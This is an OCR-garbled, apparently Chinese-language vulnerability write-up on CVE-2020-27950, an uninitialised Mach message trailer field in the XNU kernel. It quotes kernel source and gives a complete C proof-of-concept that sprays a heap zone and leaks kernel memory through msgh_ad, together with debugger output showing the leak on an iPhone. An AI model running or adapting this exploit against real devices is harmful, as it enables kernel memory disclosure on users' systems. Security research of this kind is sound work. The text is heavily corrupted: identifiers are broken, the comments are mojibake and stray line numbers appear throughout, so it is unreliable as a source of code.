ipc _object t object;

ipc_mqueue_t mgueue;

msgh trailer type;

msgh_trailer size;

msg_addr = args->msg;

option = args->option;

f —

// mach msg()5E_

mach msg return t mr = MACH MSG_SUCCESS; // A& A

vm_map t map = current _map():;

mr = ipc mqueue copyin(space, rcv_name, &mgueue, &object);

// IREFERBOHE B &R X it



if (rcv_msg addr != (mach vm address t)0) ({
self->ith msg addr

} else {
self->ith msg addr

rcv_msg addr;

msg_addr;

/! BEESHIRENEEEREMAETE
self->ith object = object;

self->ith rsize = rcv_size;

self->ith msize = 0;

self->ith option = option;

self->ith receiver name = MACH_PORT NULL;
self->ith continuation = thread syscall return;
self->ith knote = ITH KNOTE NULL;

// MHBBAFIEIREUE R
// Purpose: Receive a message from a message queue.
ipc_mqueue receive(mqueue, option, rcv_size, msg_ timeout,
THREAD_ ABORTSAFE) ;
if ((option & MACH RCV_TIMEOUT) && msg _timeout == 0) {
thread poll yield(self);

// EEGHER

return mach msg receive results(NULL);

return MACH MSG_SUCCESS;

BRI K mach msg receive results() FATZECER, WMRERIZBMAI, SEBR
#0 ipc_kmsg add trailer()

mach msg return t
mach msg receive results(

mach msg_size_ t *sizep)

{

/! IR ENES

thread t self = current_thread(); // REXEREEREMME
self

ipc_space t space = current space();

vm_map_ t map = current _map();

mach msg_trailer size_t trailer_ size;

mach msg size t size = 0;

IR
p=4

=
=



13
14

15

16
17
18
19
20
21
22
23
24

25
26
27

28
29
30
31
32

33
34
35
36
37
38

frlt By

1
2
3

/*

* unlink the special reply port before releasing reference to

object.
* get

the thread's turnstile, if the thread donated it's

turnstile to the port

Y/

mach msg receive results complete(object);

io_release(object);

/* auto redeem the voucher in the message */

ipc_voucher receive postprocessing(kmsg, option);

/! WEZ

WifhtrailerZEME, 1t8trailerfIKE

trailer size = ipc_kmsg add_trailer(kmsg, space, option, self,
seqgno, FALSE,

kmsg->ikm header->msgh remote port->ip context);

mr = ipc kmsg copyout(kmsg, space, map, MACH MSG BODY NULL,

option);

if (mr

!= MACH MSG_SUCCESS) {

} else
/*
*/

{

capture ksmg QoS values to the thread continuation state

self->ith gos = kmsg->ikm gos;

self->ith gos override = kmsg->ikm gos_ override;

//
//
mr

;E/ﬁ/u\{gl_éaﬁﬁ):llu\
PREipc kmsg add trailer()itBHtrailer sizef®EXB{FEFRZE!

= ipc_kmsg put(kmsg, option, rcv_addr, rcv_size,

trailer size, &size);

}

if (sizep) {

*sizep = size;

}

return

= =LAN
BES

mr;

X EN ipc_kmsg add traller()ﬂ:bHTE,J:%?U T kmsg , {EE2&Etraileri®Z2IRIB&IZEN
X, LabE

ERWEBREMNSIELR msgh_trailer size

mach _msg_trailer_size t

ipc_kmsg add trailer(ipc _kmsg t kmsg, ipc space t space _ unused,

mach msg option t option, thread t thread,



0 4 o U Wb

11
12

13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

31
32
33

34
35
36
37
38
39
40
41
42
43
44
45

mach port seqno t seqno, boolean t minimal trailer,

mach vm offset t context)

// BRAEX R HEARtrailerski

mach msg max trailer t *trailer;

#ifdef  arm64
// BliEHTEtmp_trailer

mach _msg _max_trailer_t tmp trailer; /* This accommodates U64, and

we'll munge */

// kmsgfitrailer#XiEtEiaithiit
void *real trailer out = (void*)(mach msg max trailer t *)
((vm_offset t)kmsg->ikm header +

mach round msg(kmsg->ikm header->msgh size));

// ¥Nkmsgitrailer®ltmp trailer
// HATHIEENRAIKEMAX TRAILER SIZE, IRAKIZHBIZBHEXIN
bcopy(real trailer out, &tmp trailer, MAX TRAILER_SIZE);
trailer = &tmp_trailer;
#else /*  arm64  */
(void)thread;
trailer = (mach msg max trailer t ¥*)
((vm_offset t)kmsg->ikm header +
mach round msg(kmsg->ikm header->msgh size));
#endif /* _ arm6d  */

// ¥ ipc kmsg get()EN: trailer->msgh trailer size =
MACH MSG_TRAILER MINIMUM SIZE;
// EZSHEMACH RCV_TRAILER MASKFiEIZRER/)\WtrailerifE
/] EEXITIMGMNEERMEtrailer®£B Hmach msg trailer t
// mach msg trailer tEMAKEMERZEZHRIMNZEN
MACH MSG_TRAILER MINIMUM SIZE
// #define MACH RCV_TRAILER MASK ((0xf << 24))
if (!(option & MACH RCV_TRAILER MASK)) {

return trailer->msgh trailer size;
trailer->msgh seqno = seqno;
trailer->msgh _context = context;

// {EFJREQUESTED TRAILER SIZEItEmsgh trailer size
/1 XEBBATIIERE—T24E:

/] ERER, FTRERANtrailerTE, KEFEBmsgh trailer sizelRBEN&/\

// HREAEWIRANR, RIBZEKIRNtrailerizE, SISEBRKEFR

msgh_trailer size



46 trailer->msgh_trailer size =
REQUESTED TRAILER SIZE(thread is 64bit addr(thread), option);

47

48 if (minimal trailer) ({

49 goto done;

50 }

51

52 /1 MRSBENTF7, WAHEL

53 // #define MACH RCV_TRAILER AV 7

54 if (GET_RCV_ELEMENTS (option) >= MACH RCV_TRAILER AV) {

55 trailer->msgh _ad = 0;

56 }

57

58 VA

59 * The ipc _kmsg t holds a reference to the label of a label

60 * handle, not the port. We must get a reference to the port

61 * and a send right to copyout to the receiver.

62 V4

63

64 if (option & MACH RCV_TRAILER ELEMENTS(MACH RCV_TRAILER LABELS))
{

65 trailer->msgh labels.sender = 0;

66 }

67

68 done:

69 #ifdef  arm64

70 ipc_kmsg munge trailer(trailer, real trailer out,

thread is 64bit addr(thread));
71 #endif /* _ arm64  */
72
73 return trailer->msgh trailer size;
74 }

72 REQUESTED TRAILER SIZE NATIVE ENXIWIT, ZEPDHEET, FLERIMDSEMEX N EFAE
KE

1 #define REQUESTED TRAILER SIZE NATIVE(y) \
2 ((mach msg trailer size t) \
3 ((GET_RCV_ELEMENTS(y) == MACH RCV_TRAILER NULL) ? \
4 sizeof (mach msg trailer t) : \
5 ((GET_RCV_ELEMENTS(y) == MACH RCV_TRAILER SEQNO) ? \
6 sizeof (mach msg seqno trailer t) \
7 ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER SENDER) ? \
8 sizeof (mach msg security trailer t) \
9 ((GET_RCV_ELEMENTS(y) == MACH RCV_TRAILER AUDIT) ? \
10 sizeof (mach msg audit trailer_ t) \



11 ((GET_RCV_ELEMENTS(y) == MACH RCV_TRAILER CTX) ? \
12 sizeof (mach msg context trailer t) \
13 ((GET_RCV_ELEMENTS(y) == MACH RCV_TRAILER AV) ? \
14 sizeof (mach msg mac_trailer t) \
15 sizeof (mach msg max trailer t))))))))

WMLTF-BEXENTEANRAEE, BERIEKE—REEX, WRBEMNENNZSHECXME
B BREIENE?

#define MACH RCV_TRAILER NULL
#define MACH RCV_TRAILER_ SEQNO
#define MACH RCV_TRAILER_ SENDER
#define MACH RCV_TRAILER AUDIT
#define MACH RCV_TRAILER CTX
#define MACH RCV_TRAILER AV
#define MACH RCV_TRAILER LABELS

// mach msg trailer t

// mach msg seqno_trailer t

// mach msg security trailer t
// mach msg audit trailer t

// mach msg context trailer t

~N o Ok W N
0 N & W NN B O

HBEMMEARNRZS, 1TEHAEIE

79 0b111000000000000000000000010 , MACH RCV_TRAILER MASK HUMENIE

79 0b1111000000000000000000000000, thFiZE, S5BILAEITE MACH_RCV_TRAILER MASK 1T
v S

Bl # mach _msg_receive results(), FEITEZEIN trailer size SEITERREEAN
PREN ipc_kmsg put(), XTRHFERFIEEEMRZSIENRBRES

1 mr = ipc_kmsg put(kmsg, option, rcv _addr, rcv_size, trailer size,

&size);

EREEINEFNRELEE size

1 mach msg return t

2  ipc_kmsg put(

3 ipc_kmsg t kmsg,

4 mach msg option t option,

5 mach vm address_t rcv_addr,

6 mach msg_size_ t rcv_size,

7 mach msg size t trailer_size,

8 mach msg size t *sizep)

9 {

10 / B RKEMEEERKENM LtrailerIKE

11 mach_msg_51ze_t size = kmsg->ikm header->msgh_size +
trailer size;

12 mach_msg _return_t mr;

13

14  #if defined(_ LP64_ )



if (current task() != kernel task) { /* don't if receiver expects
fully-cooked in-kernel msg; */
mach msg legacy header t *legacy header =
(mach _msg legacy header t *)((vm offset t)(kmsg-
>ikm header) + LEGACY HEADER SIZE DELTA);

mach msg bits t bits kmsg->ikm header-

>msgh_bits;

mach msg size t msg_size kmsg->ikm header-
>msgh size;

mach_port name_t remote_ port =
CAST_MACH_PORT_TO_NAME (kmsg->ikm header->msgh_remote_port);

mach port name t local port =
CAST MACH_ PORT TO_ NAME (kmsg->ikm header->msgh_local port);

mach_port name t voucher port = kmsg->ikm header-
>msgh_voucher_port;

mach msg id t id = kmsg-

>ikm header->msgh id;

legacy header->msgh id = id;
legacy header->msgh local port = local port;
legacy header->msgh remote port = remote port;

legacy header->msgh_voucher port = voucher port;

legacy header->msgh size = msg size -
LEGACY HEADER SIZE DELTA;
legacy header->msgh bits = bits;
size -= LEGACY HEADER SIZE DELTA;
kmsg->ikm header = (mach msg header t *)legacy header;
}
#endif

/* Re-Compute target address if using stack-style delivery */
if (option & MACH RCV_STACK) {

rcv_addr += rcv_size - size;

// BILER
if (copyoutmsg((const char *) kmsg->ikm header, rcv_addr, size))

{
mr = MACH RCV_INVALID DATA;
size = 0;
} else {

mr = MACH MSG_SUCCESS;



51 /1 RERGERLSEE RS

52 ipc_kmsg free(kmsg);
53

54 if (sizep) {

55 *sizep = size;
56 }

57 return mr;

58 }

BE—T, BMNIMETBTIRERE mach_msg () B TSE MACH_RCV_MSG |
MACH RCV_TRAILER ELEMENTS (5) RIREXZIR A trailer->msgh_trailer size, MAHA
ABKIE trailer->msgh ad BY#JIRML

MIEKEPociE

1 #include <stdio.h>

2  #include <stdlib.h>

3 #include <unistd.h>

4

5 #include <mach/mach.h>

6

7  #define MAGIC 0x416e7953 // 'SynA'

8

9 int main(int argc, char *argv[]) {

10 mach port t port;

11 int £d[2];

12

13 mach port _allocate(mach_task self(), MACH PORT RIGHT RECEIVE,
&port);

14 mach port insert right(mach task self(), port, port,
MACH MSG_TYPE MAKE SEND);

15

16 printf("[+] Allocating controlled (magic value %x) kalloc.1024
buffer\n", MAGIC);

17 uint32 t *pipe buff = malloc(1020);

18 for (int i = 0; i < 1020 / sizeof(uint32 t); i++)

19 pipe buff[i] = MAGIC;

20 pipe(£fd);

21 write(fd[1l], pipe buff, 1020);

22

23 printf("[+] Creating kalloc.1024 ipc kmsg\n");

24 mach msg base t *message = NULL;

25

26 // size to fit in kalloc.1024, trust me, I'm an expert (c)

27 mach msg size t message size = (mach msg size t)(sizeof(*message)

+ 0xle0);



message = malloc(message size + MAX TRAILER SIZE);
memset (message, 0, message size + MAX TRAILER SIZE);
message->header.msgh _size = message size;

MACH MSGH BITS

message->header.msgh bits
(MACH_MSG_TYPE COPY SEND, 0);
message->body.msgh_descriptor count = 0;

message->header.msgh_remote port = port;

uint8 t *buffer;
buffer = malloc(message size + MAX TRAILER SIZE);

printf("[+] Freeing controlled buffer\n");
close(£d[01]);
close(fd[1l]);

printf("[+] Sending message\n");
mach msg(&message->header,
MACH_SEND_MSG,
message_ size,
0,
MACH PORT NULL,
MACH MSG_TIMEOUT NONE,
MACH PORT NULL);
memset (buffer, 0, message size + MAX TRAILER SIZE);
printf("[+] Now reading message back\n");
mach msg((mach _msg header_t *)buffer,
MACH RCV_MSG | MACH RCV_TRAILER ELEMENTS(5),
0,
message size + MAX TRAILER_SIZE,
port,
MACH MSG_TIMEOUT NONE,
MACH PORT NULL);

mach msg mac_trailer t *trailer = (mach msg mac trailer t¥)
(buffer + message size);

printf("[+] Leaked value: %$x\n", trailer->msgh _ad);

return 0;

fEAXCodeidid, FE—"1IOSKA, BITE12.489iPhone 6 1, EPocXIBIENIETT



@ cvE-2020-27950-i0S ) ] iPhone Running CVE-2020-27960-0S on iPhone

B <
B CVE-2020-27950-

B info.plist

8 CVE-2020-27950-i0S

Bl CVE-2020-27850-i08.xcodeproj main.m S0 ®

<A>

AppDelegate.m

@ CVE-2020-27950-i0S main.m ) (#) main(argc, argv)

@ cpu o

& Memory 6MB ntf("[+] Sending mes
1_msg(

Energy Impact Zero amessage->h
MACH_SENI
message_size,

o,

MACH_PORT_NULL
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

memset (buffer, @, message_size + MAX_TRAILER_SIZE);

Disk Zero KBfs

Network Zero KBfs
v (i) Thread 1 Queue: c...ead (serial)
) 2/ 0 main

®] 1 start
eading message back\n");

(mach_msg_header_t *)buffer,

MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
e,

message_size + MAX_TRAILER_SIZE,

port,

MACH_MSG_TIMEOUT_NONE,

MACH_PORT_NULL) ;

mach_msg_mac_trailer_t ¥t:
printf("[+] Leaked valu

= (mach_msg_mac_trailer_tk) (buffer + message_size);
, trailer->msgh_ad);

n(arge, argv, nil, appDelegateClassName);

> <7 | [l CVE-2020-27950-10S ) () Thread 1) [£] 0 main

(mach_msg_mac_trailer_t *) $16 = 6x006000616feb0cdc

11db) p *(mach_msg_mac_trailer_t %)0xe6e0eee10feoacdc
(mach_msg_mac_trailer_t) $11 =

msgh_trailer_type = @

msgh_trailer_size = 68

msgh_seqno = s

msgh_sender =

val = ([e] = 561 [11 = 5e1)

msgh_seqno
 msgh_sender (security_token_t)
v val (unsigned int [2])
[0] = (unsigned int) 501
igned int) 501
 msgh_audit (audit_token_t)

_port_seqno_t) 0

msgh_audit = {
val = ([0] = 4294967295, [1] = 501, [2] = 501, [3] = 501, [4] = 501, [5] = 605, [6]1 = 8, [7] = 1792)
b
msgh_context = 4714839257292734464
msgh_ad = @

> val (unsigned int [8])

msgh_labels = (sender = @)

msgh_context = (mach_port_context_t) 4714839267292734464
msgh_ad = (mach. 0 00 00 00
 msgh_labels (msg_labels_t)
sender = (mach_port_name_t) 0
v (L) buffer = (uintg_t
*buffer = (uint8_t) \0"

11db) x/32x trailer

ex10fe@ocdc:
ex10feddcec:
ex10fedocfc:
ex10feeodoc:
ex10fe@dic:
ox10fe@@d2c:

0x00000000 0x00000044 BX00000000 ©X000E01F5
0x800001f5 OXFFFFFfff 8x000001f5 ©X000E0LF5
0x000001f5 0x0@0RRLF5 0x00E0025d OX00000000
0x00000700 0x00000000 0Xx00000000 Ox416€7953
©0x80000000 0x0B000B00 BxT0E0PEED ©X000E0000
0xf000B000 0xd1950832 8x0080001 OXd19576C8

ex10fe@od3c:
ex10fe@adsc:
11dk

0x00000001 0xd19576e0 0x00000001 Oxd19576f8
0x80000001 0xd1957710 @x00@00001 Oxd1957728

All Output ¢

ﬁﬁiﬁﬂ?—ﬁﬂb%%ﬁ%ﬁ%%ﬁ@,&ﬁ%ﬂ%i%,ﬁﬁﬁ?mwhwﬁxmﬁﬁﬁ
B, fEval(7] 5H, =B64UKEN msgh context, B XEBEFTLHE, BE

%) 4714839257292734464 2 0x416795300000000 , {ESIELMARTIES, 7 msgh_ad BOIE
FRBANNRENZERIEIE 0x41627953

(1ldb) p *(mach msg mac trailer t *)0x000000010fe00cdc
(mach msg mac_ trailer t) $11 = {
0

68

msgh trailer type

msgh_trailer size
0
=A{

msgh segno
msgh sender
([01

val 501, 501)

[1]
}

msgh audit = {
([0]
605,

val

[5]

4294967295,
[61 =0, [7]

[1] = 501, 501, 501,

1792)

[2] [3] [4]

501,
}

msgh context
0
msgh labels

4714839257292734464

msgh ad

(sender 0)

}

(11db) x/32x trailer
0x10fe00cdc: 0x00000000
0x000001f£5

0x10feOOcec: 0x000001£f5
0x000001£5(val[2])

0x00000044 0x00000000

OxfEffE£E£F(val[0]) 0x000001£5(val[l])



19 0x10fe00cfc: 0x000001f5(val[3]) 0x000001f5(val[4]) 0x0000025d(val[5])
0x00000000(val[6])

20 0x10fe00d0Oc: 0x00000700(val[7]) 0x00000000 0x00000000
0x416e7953 (msgh_ad)

21 0x10fe00dlc: 0x00000000(msgh labels) 0x00000000 0xf0000000 0x00000000

ILTE PRI B8 AL 2R

ABFAT AN M R h— 1 R AR ER IR IE?

BT TR EEH

ATRSNEE, BERDENEREREASE, BAATRETEEHENEE, BBARBAED
REREREESMEER, MXERN TG

1  trailer->msgh trailer type =

%7, ATRBHEXET

v C ipc_kmsg.c osfmk/ipc 2
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_O;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_O;

v € mach_msg.c osfmk/ipc 1
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_O;

v C ipc_kobject.c osfmk/kern 1
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_O;

v C ipc_mig.c osfmk/kern 1

max_trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_O;
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